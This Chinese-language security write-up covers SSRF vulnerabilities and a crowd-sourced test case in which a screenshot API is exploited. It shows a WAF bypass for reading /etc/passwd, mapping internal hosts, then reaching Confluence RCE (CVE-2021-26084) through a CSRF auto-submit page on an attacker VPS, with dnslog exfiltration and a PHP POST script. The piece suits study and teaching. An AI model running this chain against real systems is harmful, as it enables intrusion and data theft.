一、漏洞原理及触发场景
0x1
web服务器经常需要从别的服务器获取数据,比如文件载入、图片拉取、图片识别等功能,如果获取数据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求。因为web服务器常搭建在DMZ区域,因此常被攻击者当作跳板,向内网服务器发出请求。
0x2
常见的ssrf漏洞场景(所有需要输入url的地方都可以尝试ssrf,将url改成dnslog地址,验证请求IP是否来自web服务器):
远程图片拉取
xls,doc等文件预览
头像加载
其他网站的访问截图
0x3
ssrf常用的协议:http/https、dict、file、gopher、sftp、ldap、tftp
二、漏洞检测及利用
0x1
任何需要传入URL的接口都有可能出现ssrf漏洞,可根据实际业务场景对功能接口进行漏洞验证。ssrf漏洞可分为有回显型和无回显型,有回显型ssrf可以直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。
0x2
无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
0x3
有回显型ssrf往往可以直接操作内网web资产,不做多赘述。下面由某次众测SSRF案例总结无回显型或半回显型ssrf的利用过程。
三、某次众测SSRF案例
(禁用gopher协议时发POST包getshell)
0x1
感谢 @Rus 师傅提供的漏洞,这个ssrf虽然能看到访问截图,但是无法直接操作内网web资产,因此和无回显型ssrf的利用合并总结了。首先在js中发现接口:
https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000
0x2
通过接口名称大概知道是截图功能的接口,后接的url参数是可控的,将url地址改为www.baidu.com,响应包返回的数据中给出了截图地址:
0x3
访问该图片地址直接下载值本地,发现正是百度的首页,url改为ceye地址,通过http记录发现UA是基于Linux上chrome内核的浏览器:
0x4
猜测请求过程:客户端通过接口传入url→web服务器接收到地址后用浏览器访问该url→访问后将网页详情截图并上传cdn→接口请求成功响应并返回截图保存地址
chrome浏览器默认支持:Http,Https,File,Ftp,Linux环境下先尝试读取/etc/passwd,
0x5
将url改成/etc/./././././././passwd可绕过该waf,发现部分用户的hash:
0x6
因为当前用户权限不够,无法读/root/.bash_history和shadow文件,也不知道web源码的绝对路径无法读配置文件,此时还可以读取/etc/hosts文件获取部分内网web资产:
0x7
除了以上收集到的资产,平时遇到无回显SSRF,还可以尝试寻找内网的Confluence, Artifactory, Jenkins, 和JAMF等资产,这篇文章是专门介绍bind ssrf利用技巧的,可以作为参考:
https://github.com/assetnote/blind-ssrf-chains
在GitHub搜索厂商域名关键字+jenkins、wiki、oa、git、svn等有可能出现在域名中的词,发现jenkins和confluence内网资产:
0x8
以上域名公网无法访问,通过ssrf接口带入
https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000
查看截图后发现jenkins有登录口,无法直接未授权RCE,需要尝试其他历史漏洞,这时可以先试试近期公开的CVE-2021-26084,confluence未授权RCE,详情以及payload参考:
https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
0x9
该漏洞的触发需要发送POST请求,以下列举ssrf漏洞发送POST请求的几种思路:
符号列表利用gopher协议直接发送POST请求。用python脚本生成gopher数据流,参考:
https://blog.csdn.net/weixin_45887311/article/details/107327706
除了发出HTTP请求外,gopher协议还常被用来攻击内网redis、Zabbix、FastCGI、mysql等服务,利用工具:
https://github.com/tarunkant/Gopherus
ssrf不支持gopher协议时可考虑利用302跳转。条件:ssrf支持302跳转。参考:
https://zone.huoxian.cn/d/392
土司上也有师傅写过用302跳转对discuz的ssrf进行利用的案例:
https://www.t00ls.cc/articles-62210.html
302.php发出POST请求:
<?php /** * 发送post请求 * @param string $url 请求地址 * @param array $post_data post键值对数据 * @return string */ function send_post($url, $post_data) { $postData = http_build_query($post_data); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type:application/x-www-form-urlencoded', 'content' => $postData, 'timeout' => 15 * 60 // 超时时间(单位:s) ) ); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); return $result; } //使用方法 $post_data = array( 'username' => 'stclair2201', 'password' => 'handan' ); send_post('http://vpsip:8000', $post_data); ?>
结合csrf自动提交POST表单。条件:支持跳转,无refer限制。前文提到,目标服务器可能是通过浏览器访问后再截图,因此重定向是可以实现的,这里提供一种比302跳转更方便的解决方案,直接用burp生成csrf poc,然后加入一段js来自动提交表单,这样也类似于302重定向的利用方式了。
0x10
当前场景,结合csrf自动提交POST表单的方法是最方便的,因为是半回显ssrf,命令执行结果在截图中无法提现,可通过dnslog将命令执行结果外带,漏洞请求包:
0x11
用burp生成csrf poc后,加入自动提交表单的js,然后将其保存在vps上的exp.html中:
0x12
最后访问
https://xxx.com/mall-tools/v1-0/tools/screenshot?url=http://vpsip/exp.html
实现RCE,用dnslog将命令执行结果外带: